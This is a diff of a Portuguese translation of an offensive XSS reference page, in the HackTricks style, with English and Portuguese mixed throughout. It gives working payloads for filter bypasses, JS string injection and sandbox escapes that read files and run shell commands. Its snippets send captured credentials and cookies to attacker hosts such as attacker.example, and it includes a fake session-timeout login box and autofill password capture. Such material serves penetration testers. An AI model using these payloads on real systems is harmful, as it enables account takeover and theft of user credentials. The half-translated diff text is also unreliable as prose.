**The XSS payload will be something like this: `" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
### Blacklist Bypasses
|
||||
### Bypasses de Blacklist
|
||||
|
||||
Várias técnicas usando diferentes codificações já foram expostas nesta seção. Volte para aprender onde você pode usar:
|
||||
Vários truques usando diferentes encodings já foram expostos nesta seção. Volte para aprender onde você pode usar:
|
||||
|
||||
- **HTML encoding (HTML tags)**
|
||||
- **Unicode encoding (can be valid JS code):** `\u0061lert(1)`
|
||||
@ -447,21 +447,21 @@ Várias técnicas usando diferentes codificações já foram expostas nesta seç
|
||||
- **Hex and Octal encoding**
|
||||
- **data encoding**
|
||||
|
||||
**Bypasses for HTML tags and attributes**
|
||||
**Bypasses para HTML tags e atributos**
|
||||
|
||||
Leia a[ Blacklist Bypasses of the previous section](#blacklist-bypasses).
|
||||
Read the[ Blacklist Bypasses of the previous section](#blacklist-bypasses).
|
||||
|
||||
**Bypasses for JavaScript code**
|
||||
**Bypasses para JavaScript code**
|
||||
|
||||
Leia a J[avaScript bypass blacklist of the following section](#javascript-bypass-blacklists-techniques).
|
||||
Read the J[avaScript bypass blacklist of the following section](#javascript-bypass-blacklists-techniques).
|
||||
|
||||
### CSS-Gadgets
|
||||
|
||||
Se você encontrar um **XSS em uma parte muito pequena** do site que requer algum tipo de interação (talvez um pequeno link no footer com um elemento onmouseover), você pode tentar **modificar o espaço que esse elemento ocupa** para maximizar as probabilidades de o link ser acionado.
|
||||
Se você encontrou um **XSS em uma parte muito pequena** do site que requer algum tipo de interação (talvez um pequeno link no rodapé com um onmouseover element), você pode tentar **modificar o espaço que esse elemento ocupa** para maximizar as probabilidades de que o link seja acionado.
|
||||
|
||||
Por exemplo, você pode adicionar algum styling no elemento como: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||
Por exemplo, você poderia adicionar algum estilo no elemento como: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||
|
||||
Mas, se o WAF estiver filtrando o atributo style, você pode usar CSS Styling Gadgets, então se você encontrar, por exemplo
|
||||
Mas, se o WAF está filtrando o atributo style, você pode usar CSS Styling Gadgets, então se você encontrar, por exemplo
|
||||
|
||||
> .test {display:block; color: blue; width: 100%\}
|
||||
|
||||
@ -469,27 +469,27 @@ e
|
||||
|
||||
> \#someid {top: 0; font-family: Tahoma;}
|
||||
|
||||
Agora você pode modificar nosso link e colocá-lo na forma
|
||||
Agora você pode modificar nosso link e transformá-lo na forma
|
||||
|
||||
> \<a href="" id=someid class=test onclick=alert() a="">
|
||||
|
||||
Esse truque foi retirado de [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)
|
||||
Este truque foi retirado de [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)
|
||||
|
||||
## Injecting inside JavaScript code
|
||||
## Injetando dentro do código JavaScript
|
||||
|
||||
Nesses casos, seu **input** será **refletido dentro do código JS** de um arquivo `.js` ou entre `<script>...</script>` tags ou entre HTML events que podem executar JS code ou entre atributos que aceitam o protocolo `javascript:`.
|
||||
Nesses casos sua **entrada** será **refletida dentro do código JS** de um arquivo `.js` ou entre tags `<script>...</script>` ou entre eventos HTML que podem executar código JS ou entre atributos que aceitam o protocolo `javascript:`.
|
||||
|
||||
### Escapando a tag \<script>
|
||||
### Escapando da tag \<script>
|
||||
|
||||
Se seu código for inserido dentro de `<script> [...] var input = 'reflected data' [...] </script>` você pode facilmente **escapar fechando a tag `<script>`**:
|
||||
Se seu código é inserido dentro de `<script> [...] var input = 'reflected data' [...] </script>` você pode facilmente **escapar o fechamento da tag `<script>`**:
|
||||
```javascript
|
||||
</script><img src=1 onerror=alert(document.domain)>
|
||||
```
|
||||
Note que, neste exemplo, **nem sequer fechamos a aspa simples**. Isso acontece porque a **análise do HTML é realizada primeiro pelo navegador**, o que envolve identificar elementos da página, incluindo blocos de script. A análise do JavaScript para compreender e executar os scripts incorporados é feita somente depois.
|
||||
Observe que neste exemplo **nem sequer fechamos a aspa simples**. Isso ocorre porque **a análise HTML é executada primeiro pelo navegador**, que envolve identificar elementos da página, incluindo blocos de script. A análise do JavaScript para entender e executar os scripts embutidos é realizada apenas depois.
|
||||
|
||||
### Dentro do código JS
|
||||
|
||||
Se `<>` estiverem sendo sanitizados, você ainda pode **escapar a string** onde sua entrada está **localizada** e **executar JS arbitrário**. É importante **corrigir a sintaxe do JS**, porque se houver algum erro, o código JS não será executado:
|
||||
Se `<>` estiverem sendo sanitizados, você ainda pode **escapar a string** onde sua entrada está sendo **localizada** e **executar JS arbitrário**. É importante **corrigir a sintaxe do JS**, porque se houver quaisquer erros, o código JS não será executado:
|
||||
```
|
||||
'-alert(document.domain)-'
|
||||
';alert(document.domain)//
|
||||
@ -497,7 +497,7 @@ Se `<>` estiverem sendo sanitizados, você ainda pode **escapar a string** onde
|
||||
```
|
||||
#### JS-in-JS string break → inject → repair pattern
|
||||
|
||||
Quando a entrada do usuário cai dentro de uma string JavaScript entre aspas (e.g., server-side echo into an inline script), você pode terminar a string, injetar código e reparar a sintaxe para manter o parsing válido. Esqueleto genérico:
|
||||
Quando user input cai dentro de uma string JavaScript entre aspas (por exemplo, server-side echo em um inline script), você pode terminar a string, inject code e reparar a sintaxe para manter o parsing válido. Esqueleto genérico:
|
||||
```
|
||||
" // end original string
|
||||
; // safely terminate the statement
|
||||
@ -508,14 +508,14 @@ Exemplo de padrão de URL quando o parâmetro vulnerável é refletido em uma st
|
||||
```
|
||||
?param=test";<INJECTION>;a="
|
||||
```
|
||||
Isso executa JS do atacante sem precisar tocar o contexto HTML (pure JS-in-JS). Combine com blacklist bypasses abaixo quando filtros bloquearem palavras-chave.
|
||||
Isso executa attacker JS sem precisar tocar no contexto HTML (pure JS-in-JS). Combine com blacklist bypasses abaixo quando filtros bloquearem palavras-chave.
|
||||
|
||||
### Template literals ``
|
||||
|
||||
Para construir **strings** além de aspas simples e duplas, o JS também aceita **backticks** **` `` `** . Isto é conhecido como template literals pois permitem **embedded JS expressions** usando a sintaxe `${ ... }`.\
|
||||
Portanto, se você encontrar que sua entrada está sendo **refletida** dentro de uma string JS que usa backticks, você pode abusar da sintaxe `${ ... }` para executar **código JS arbitrário**:
|
||||
Para construir **strings** além de aspas simples e duplas o JS também aceita **backticks** **` `` `**. This is known as template literals as they allow to **embedded JS expressions** using `${ ... }` syntax.\
|
||||
Portanto, se você descobrir que sua entrada está sendo **reflected** dentro de uma JS string que está usando backticks, você pode abusar da sintaxe `${ ... }` para executar **arbitrary JS code**:
|
||||
|
||||
Isso pode ser **abusado** usando:
|
||||
Isto pode ser **abusado** usando:
|
||||
```javascript
|
||||
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
|
||||
```
|
||||
@ -536,26 +536,26 @@ loop``
|
||||
```
|
||||
#### Payloads entregáveis com eval(atob()) e nuances de escopo
|
||||
|
||||
Para manter URLs mais curtas e contornar filtros de palavras-chave ingênuos, você pode codificar sua lógica real em base64 e avaliá-la com `eval(atob('...'))`. Se filtros simples de palavras-chave bloquearem identificadores como `alert`, `eval` ou `atob`, use identificadores escapados em Unicode que compilam de forma idêntica no navegador, mas evadem filtros de correspondência de strings:
|
||||
Para manter as URLs mais curtas e contornar filtros de palavras-chave ingênuos, você pode base64-encodear sua lógica real e avaliá-la com `eval(atob('...'))`. Se um filtro simples de palavras-chave bloquear identificadores como `alert`, `eval` ou `atob`, use identificadores escapados em Unicode que compilam de forma idêntica no navegador, mas evitam os filtros por correspondência de strings:
|
||||
```
|
||||
\u0061\u006C\u0065\u0072\u0074(1) // alert(1)
|
||||
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64')) // eval(atob('...'))
|
||||
```
|
||||
Observação importante sobre escopo: `const`/`let` declarados dentro de `eval()` têm escopo de bloco e NÃO criam variáveis globais; eles não estarão acessíveis a scripts posteriores. Use um elemento `<script>` injetado dinamicamente para definir hooks globais não reatribuíveis quando necessário (por exemplo, para hijack a form handler):
|
||||
Sutileza importante de escopo: `const`/`let` declarados dentro de `eval()` têm escopo de bloco e NÃO criam variáveis globais; eles não estarão acessíveis para scripts posteriores. Use um elemento `<script>` injetado dinamicamente para definir hooks globais, não reatribuíveis, quando necessário (por exemplo, para hijack um form handler):
|
||||
```javascript
|
||||
var s = document.createElement('script');
|
||||
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
|
||||
document.head.appendChild(s);
|
||||
```
|
||||
Reference: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
|
||||
Referência: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
|
||||
|
||||
### Codificar Unicode para execução de JS
|
||||
### Codificação Unicode para execução de JS
|
||||
```javascript
|
||||
alert(1)
|
||||
alert(1)
|
||||
alert(1)
|
||||
```
|
||||
### JavaScript bypass blacklists técnicas
|
||||
### Técnicas de bypass de blacklists em JavaScript
|
||||
|
||||
**Strings**
|
||||
```javascript
|
||||
@ -593,7 +593,7 @@ eval(8680439..toString(30))(983801..toString(36))
|
||||
<TAB>
|
||||
/**/
|
||||
```
|
||||
**Comentários de JavaScript (do** [**JavaScript Comments**](#javascript-comments) **truque)**
|
||||
**JavaScript comments (do** [**JavaScript Comments**](#javascript-comments) **truque)**
|
||||
```javascript
|
||||
//This is a 1 line comment
|
||||
/* This is a multiline comment*/
|
||||
@ -601,7 +601,7 @@ eval(8680439..toString(30))(983801..toString(36))
|
||||
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
|
||||
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
|
||||
```
|
||||
**JavaScript new lines (from** [**JavaScript new line**](#javascript-new-lines) **truque)**
|
||||
**JavaScript quebras de linha (do** [**JavaScript new line**](#javascript-new-lines) **truque)**
|
||||
```javascript
|
||||
//Javascript interpret as new line these chars:
|
||||
String.fromCharCode(10)
|
||||
@ -778,45 +778,56 @@ top[8680439..toString(30)](1)
|
||||
```
|
||||
## **DOM vulnerabilities**
|
||||
|
||||
Há código **JS** que usa **dados controlados por um atacante de forma insegura**, como `location.href`. Um atacante poderia abusar disso para executar código JS arbitrário.\
|
||||
**Devido à extensão da explicação sobre** [**DOM vulnerabilities foi movida para esta página**](dom-xss.md)**:**
|
||||
There is **JS code** that is using **unsafely data controlled by an attacker** like `location.href` . An attacker, could abuse this to execute arbitrary JS code.\
|
||||
**Due to the extension of the explanation of** [**DOM vulnerabilities it was moved to this page**](dom-xss.md)**:**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
dom-xss.md
|
||||
{{#endref}}
|
||||
|
||||
Lá você encontrará uma **explicação detalhada sobre o que são DOM vulnerabilities, como são provocadas e como explorá-las**.\
|
||||
Além disso, não esqueça que **ao final do post mencionado** você pode encontrar uma explicação sobre [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering).
|
||||
Lá você encontrará uma **explicação detalhada do que são DOM vulnerabilities, como são provocadas e como explorá‑las**.\
|
||||
Além disso, não esqueça que **no final do post mencionado** você pode encontrar uma explicação sobre [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering).
|
||||
|
||||
### Escalando Self-XSS
|
||||
### Upgrading Self-XSS
|
||||
|
||||
### Cookie XSS
|
||||
|
||||
Se você consegue disparar um XSS enviando o payload dentro de um cookie, isso geralmente é um self-XSS. No entanto, se você encontrar um **subdomínio vulnerável a XSS**, pode abusar desse XSS para injetar um cookie em todo o domínio, conseguindo disparar o cookie XSS no domínio principal ou em outros subdomínios (aqueles vulneráveis ao cookie XSS). Para isso você pode usar o cookie tossing attack:
|
||||
If you can trigger a XSS by sending the payload inside a cookie, this is usually a self-XSS. However, if you find a **vulnerable subdomain to XSS**, you could abuse this XSS to inject a cookie in the whole domain managing to trigger the cookie XSS in the main domain or other subdomains (the ones vulnerable to cookie XSS). For this you can use the cookie tossing attack:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../hacking-with-cookies/cookie-tossing.md
|
||||
{{#endref}}
|
||||
|
||||
Você pode encontrar um ótimo exemplo de abuso desta técnica em [**este post do blog**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html).
|
||||
You can find a great abuse of this technique in [**this blog post**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html).
|
||||
|
||||
### Enviando sua sessão para o admin
|
||||
### Sending your session to the admin
|
||||
|
||||
Talvez um usuário possa compartilhar seu perfil com o admin e, se o self XSS estiver dentro do perfil do usuário e o admin acessá-lo, ele acionará a vulnerabilidade.
|
||||
Talvez um usuário possa compartilhar seu perfil com o admin e, se o self XSS estiver dentro do perfil do usuário e o admin acessá‑lo, ele acionará a vulnerabilidade.
|
||||
|
||||
### Session Mirroring
|
||||
|
||||
Se você encontrar algum self XSS e a página web tiver um **session mirroring for administrators**, por exemplo permitindo que clientes peçam ajuda e, para que o admin o ajude, ele verá o que você está vendo na sua sessão, mas a partir da sessão dele.
|
||||
Se você encontrar algum self XSS e a página web tiver um **session mirroring for administrators**, por exemplo permitindo que clientes peçam ajuda e para que o admin os auxilie ele verá o que você está vendo na sua sessão, mas a partir da sessão dele.
|
||||
|
||||
Você poderia fazer com que o **admin** acionasse o seu self XSS e roubasse seus cookies/sessão.
|
||||
Você poderia fazer com que o **administrator trigger your self XSS** e roubar os cookies/sessão dele.
|
||||
|
||||
## Outros Bypasses
|
||||
## Other Bypasses
|
||||
|
||||
### Unicode Normalizado
|
||||
### Bypassing sanitization via WASM linear-memory template overwrite
|
||||
|
||||
Você pode verificar se os **valores refletidos** estão sendo **unicode normalized** no servidor (ou no lado do cliente) e abusar dessa funcionalidade para contornar proteções. [**Encontre um exemplo aqui**](../unicode-injection/index.html#xss-cross-site-scripting).
|
||||
When a web app uses Emscripten/WASM, constant strings (like HTML format stubs) live in writable linear memory. A single in‑WASM overflow (e.g., unchecked memcpy in an edit path) can corrupt adjacent structures and redirect writes to those constants. Overwriting a template such as "<article><p>%.*s</p></article>" to "<img src=1 onerror=%.*s>" turns sanitized input into a JavaScript handler value and yields immediate DOM XSS on render.
|
||||
|
||||
Check the dedicated page with exploitation workflow, DevTools memory helpers, and defenses:
|
||||
|
||||
{{#ref}}
|
||||
wasm-linear-memory-template-overwrite-xss.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
### Normalised Unicode
|
||||
|
||||
You could check is the **reflected values** are being **unicode normalized** in the server (or in the client side) and abuse this functionality to bypass protections. [**Find an example here**](../unicode-injection/index.html#xss-cross-site-scripting).
|
||||
|
||||
### PHP FILTER_VALIDATE_EMAIL flag Bypass
|
||||
```javascript
|
||||
@ -833,7 +844,7 @@ O par "Key","Value" será retornado assim:
|
||||
```
|
||||
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
|
||||
```
|
||||
Então, o atributo onfocus será inserido e XSS ocorrerá.
|
||||
Então, o atributo onfocus será inserido e ocorre XSS.
|
||||
|
||||
### Combinações especiais
|
||||
```html
|
||||
@ -867,14 +878,13 @@ document['default'+'View'][`\u0061lert`](3)
|
||||
```
|
||||
### XSS com header injection em uma resposta 302
|
||||
|
||||
Se você descobrir que pode **inject headers in a 302 Redirect response** você pode tentar **fazer o browser executar arbitrary JavaScript**. Isso **não é trivial**, pois navegadores modernos não interpretam o corpo da resposta HTTP se o código de status da resposta HTTP for 302, então apenas um cross-site scripting payload é inútil.
|
||||
Se você encontrar que pode **inject headers in a 302 Redirect response** você pode tentar **make the browser execute arbitrary JavaScript**. Isto é **not trivial** pois navegadores modernos não interpretam o HTTP response body se o HTTP response status code for 302, então apenas um cross-site scripting payload é inútil.
|
||||
|
||||
Em [**this report**](https://www.gremwell.com/firefox-xss-302) e [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) você pode ler como testar vários protocolos dentro do Location header e ver se algum deles permite que o navegador inspecione e execute o XSS payload dentro do body.\
|
||||
Past known protocols: `mailto://`, `//x:1/`, `ws://`, `wss://`, _empty Location header_, `resource://`.
|
||||
Em [**this report**](https://www.gremwell.com/firefox-xss-302) e [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) você pode ler como testar vários protocolos dentro do Location header e ver se algum deles permite que o browser inspecione e execute o XSS payload dentro do body.\
|
||||
|
||||
### Only Letters, Numbers and Dots
|
||||
### Apenas Letras, Números e Pontos
|
||||
|
||||
Se você consegue indicar o **callback** que o javascript vai **execute** limitado a esses caracteres. [**Read this section of this post**](#javascript-function) para descobrir como abusar desse comportamento.
|
||||
Se você for capaz de indicar o **callback** que javascript vai **execute** limitado a esses chars. [**Read this section of this post**](#javascript-function) para descobrir como abusar desse comportamento.
|
||||
|
||||
### Valid `<script>` Content-Types to XSS
|
||||
|
||||
@ -910,8 +920,10 @@ const char* const kSupportedJavascriptTypes[] = {
|
||||
```html
|
||||
<script type="???"></script>
|
||||
```
|
||||
A resposta é:
|
||||
|
||||
- **module** (padrão, nada a explicar)
|
||||
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles é um recurso que permite empacotar um conjunto de dados (HTML, CSS, JS…) em um arquivo **`.wbn`**.
|
||||
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles é um recurso que permite empacotar um conjunto de dados (HTML, CSS, JS…) juntos em um arquivo **`.wbn`**.
|
||||
```html
|
||||
<script type="webbundle">
|
||||
{
|
||||
@ -938,9 +950,9 @@ import moment from "moment"
|
||||
import { partition } from "lodash"
|
||||
</script>
|
||||
```
|
||||
Esse comportamento foi usado em [**this writeup**](https://github.com/zwade/yaca/tree/master/solution) para remapear uma biblioteca para eval; seu abuso pode disparar XSS.
|
||||
Esse comportamento foi usado em [**this writeup**](https://github.com/zwade/yaca/tree/master/solution) para remapear uma biblioteca para eval; o abuso disso pode disparar XSS.
|
||||
|
||||
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Este recurso serve principalmente para resolver problemas causados pelo pré-rendering. Funciona assim:
|
||||
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Esse recurso existe principalmente para resolver alguns problemas causados pela pré-renderização. Funciona assim:
|
||||
```html
|
||||
<script type="speculationrules">
|
||||
{
|
||||
@ -958,22 +970,22 @@ Esse comportamento foi usado em [**this writeup**](https://github.com/zwade/yaca
|
||||
```
|
||||
### Web Content-Types para XSS
|
||||
|
||||
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) The following content types can execute XSS in all browsers:
|
||||
(De [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Os seguintes Content-Types podem executar XSS em todos os navegadores:
|
||||
|
||||
- text/html
|
||||
- application/xhtml+xml
|
||||
- application/xml
|
||||
- text/xml
|
||||
- image/svg+xml
|
||||
- text/plain (?? not in the list but I think I saw this in a CTF)
|
||||
- text/plain (?? não está na lista mas acho que vi isso em um CTF)
|
||||
- application/rss+xml (off)
|
||||
- application/atom+xml (off)
|
||||
|
||||
In other browsers other **`Content-Types`** can be used to execute arbitrary JS, check: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
|
||||
Em outros navegadores, outros **`Content-Types`** podem ser usados para executar JS arbitrário, veja: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
|
||||
|
||||
### Tipo de conteúdo xml
|
||||
### xml Content Type
|
||||
|
||||
Se a página estiver retornando um content-type text/xml, é possível indicar um namespace e executar JS arbitrário:
|
||||
Se a página estiver retornando um text/xml content-type é possível indicar um namespace e executar JS arbitrário:
|
||||
```xml
|
||||
<xml>
|
||||
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
|
||||
@ -983,11 +995,11 @@ Se a página estiver retornando um content-type text/xml, é possível indicar u
|
||||
```
|
||||
### Padrões Especiais de Substituição
|
||||
|
||||
Quando algo como **`"some {{template}} data".replace("{{template}}", <user_input>)`** é usado. O atacante pode usar [**substituições especiais de string**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) para tentar contornar algumas proteções: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
|
||||
Quando algo como **`"some {{template}} data".replace("{{template}}", <user_input>)`** é usado. O atacante poderia usar [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) para tentar contornar algumas proteções: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
|
||||
|
||||
Por exemplo em [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), isso foi usado para **escapar uma string JSON** dentro de um script e executar código arbitrário.
|
||||
Por exemplo em [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), isso foi usado para **escapar uma string JSON** dentro de um script e executar arbitrary code.
|
||||
|
||||
### Chrome Cache to XSS
|
||||
### Chrome Cache para XSS
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -996,7 +1008,7 @@ chrome-cache-to-xss.md
|
||||
|
||||
### XS Jails Escape
|
||||
|
||||
Se você tiver um conjunto limitado de caracteres para usar, confira estas outras soluções válidas para problemas de XSJail:
|
||||
Se você tem apenas um conjunto limitado de caracteres para usar, verifique estas outras soluções válidas para problemas de XSJail:
|
||||
```javascript
|
||||
// eval + unescape + regex
|
||||
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
|
||||
@ -1027,7 +1039,7 @@ constructor(source)()
|
||||
// For more uses of with go to challenge misc/CaaSio PSE in
|
||||
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
|
||||
```
|
||||
Se **tudo for undefined** antes de executar código não confiável (como em [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)) é possível gerar objetos úteis "do nada" para abusar da execução arbitrária de código não confiável:
|
||||
Se **tudo estiver undefined** antes de executar código não confiável (como em [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)) é possível gerar objetos úteis "do nada" para abusar da execução de código arbitrário não confiável:
|
||||
|
||||
- Usando import()
|
||||
```javascript
|
||||
@ -1036,7 +1048,7 @@ import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
|
||||
```
|
||||
- Acessando `require` indiretamente
|
||||
|
||||
[De acordo com isto](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) os módulos são encapsulados pelo Node.js dentro de uma função, assim:
|
||||
[According to this](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) módulos são encapsulados pelo Node.js dentro de uma função, assim:
|
||||
```javascript
|
||||
;(function (exports, require, module, __filename, __dirname) {
|
||||
// our actual module code
|
||||
@ -1051,7 +1063,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync(
|
||||
)
|
||||
})()
|
||||
```
|
||||
De maneira semelhante ao exemplo anterior, é possível **usar error handlers** para acessar o **wrapper** do módulo e obter a função **`require`**:
|
||||
De forma semelhante ao exemplo anterior, é possível **usar error handlers** para acessar o **wrapper** do módulo e obter a função **`require`**:
|
||||
```javascript
|
||||
try {
|
||||
null.f()
|
||||
@ -1089,9 +1101,9 @@ console.log(req("child_process").execSync("id").toString())
|
||||
}
|
||||
trigger()
|
||||
```
|
||||
### Ofuscação & Bypass Avançado
|
||||
### Obfuscation & Advanced Bypass
|
||||
|
||||
- **Diferentes ofuscações em uma página:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
|
||||
- **Different obfuscations in one page:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
|
||||
- [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
|
||||
- [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
|
||||
- [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/)
|
||||
@ -1281,7 +1293,7 @@ steal-info-js.md
|
||||
|
||||
### Iframe Trap
|
||||
|
||||
Faça o usuário navegar na página sem sair do iframe e roube suas ações (incluindo informações enviadas em formulários):
|
||||
Faz o usuário navegar na página sem sair do iframe e captura suas ações (incluindo informações enviadas em formulários):
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -1311,7 +1323,7 @@ Faça o usuário navegar na página sem sair do iframe e roube suas ações (inc
|
||||
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
|
||||
```
|
||||
> [!TIP]
|
||||
> Você **não poderá acessar os cookies via JavaScript** se a flag HTTPOnly estiver definida no cookie. Mas aqui você tem [some ways to bypass this protection](../hacking-with-cookies/index.html#httponly) se tiver sorte suficiente.
|
||||
> Você **não poderá acessar os cookies a partir do JavaScript** se a flag HTTPOnly estiver definida no cookie. Mas aqui você tem [algumas maneiras de contornar essa proteção](../hacking-with-cookies/index.html#httponly) se tiver sorte.
|
||||
|
||||
### Roubar Conteúdo da Página
|
||||
```javascript
|
||||
@ -1402,15 +1414,15 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
|
||||
};
|
||||
}
|
||||
```
|
||||
_Tempos curtos indicam uma porta que responde_ _Tempos mais longos indicam sem resposta._
|
||||
_Tempos curtos indicam um port respondendo_ _Tempos mais longos indicam sem resposta._
|
||||
|
||||
Revise a lista de portas bloqueadas no Chrome [**here**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) e no Firefox [**here**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
|
||||
Consulte a lista de ports bloqueados no Chrome [**here**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) e no Firefox [**here**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
|
||||
|
||||
### Caixa para solicitar credenciais
|
||||
```html
|
||||
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
|
||||
```
|
||||
### Auto-fill passwords capture
|
||||
### Captura de senhas de preenchimento automático
|
||||
```javascript
|
||||
<b>Username:</><br>
|
||||
<input name=username id=username>
|
||||
@ -1421,11 +1433,11 @@ mode: 'no-cors',
|
||||
body:username.value+':'+this.value
|
||||
});">
|
||||
```
|
||||
Quando qualquer dado é introduzido no campo de senha, o nome de usuário e a senha são enviados para o servidor do atacante; mesmo que o cliente selecione uma senha salva e não escreva nada, as credenciais serão ex-filtrated.
|
||||
Quando qualquer dado é inserido no campo de password, o username e a password são enviados para o servidor do atacante; mesmo que o cliente selecione uma password salva e não escreva nada, as credenciais serão ex-filtrated.
|
||||
|
||||
### Interceptar manipuladores de formulário para exfiltrar credenciais (const shadowing)
|
||||
### Hijack form handlers to exfiltrate credentials (const shadowing)
|
||||
|
||||
Se um manipulador crítico (p.ex., `function DoLogin(){...}`) for declarado mais tarde na página, e seu payload rodar antes (p.ex., via um inline JS-in-JS sink), defina um `const` com o mesmo nome primeiro para antecipar e bloquear o manipulador. Declarações de função posteriores não podem reatribuir um nome `const`, deixando seu hook no controle:
|
||||
Se um handler crítico (e.g., `function DoLogin(){...}`) for declarado mais tarde na página, e seu payload rodar antes (e.g., via an inline JS-in-JS sink), defina um `const` com o mesmo nome primeiro para antecipar e bloquear o handler. Declarações de função posteriores não podem reatribuir um nome `const`, deixando seu hook no controle:
|
||||
```javascript
|
||||
const DoLogin = () => {
|
||||
const pwd = Trim(FormInput.InputPassword.value);
|
||||
@ -1434,9 +1446,9 @@ fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURICom
|
||||
};
|
||||
```
|
||||
Notas
|
||||
- Isso depende da ordem de execução: sua injection deve ser executada antes da declaração legítima.
|
||||
- Se seu payload estiver encapsulado em `eval(...)`, as declarações `const/let` não se tornarão globais. Use a técnica dinâmica de `<script>` injection da seção “Deliverable payloads with eval(atob()) and scope nuances” para garantir uma variável global verdadeira, não reatribuível.
|
||||
- Quando filtros de palavras-chave bloquearem código, combine com identificadores escapados em Unicode ou entrega via `eval(atob('...'))`, como mostrado acima.
|
||||
- Isto depende da ordem de execução: sua injeção deve executar antes da declaração legítima.
|
||||
- Se seu payload estiver encapsulado em `eval(...)`, bindings `const/let` não se tornarão globais. Use a injeção dinâmica `<script>` da seção “Deliverable payloads with eval(atob()) and scope nuances” para garantir um binding global verdadeiro e não-reatribuível.
|
||||
- Quando filtros de palavras-chave bloquearem código, combine com Unicode-escaped identifiers ou entrega via `eval(atob('...'))`, como mostrado acima.
|
||||
|
||||
### Keylogger
|
||||
|
||||
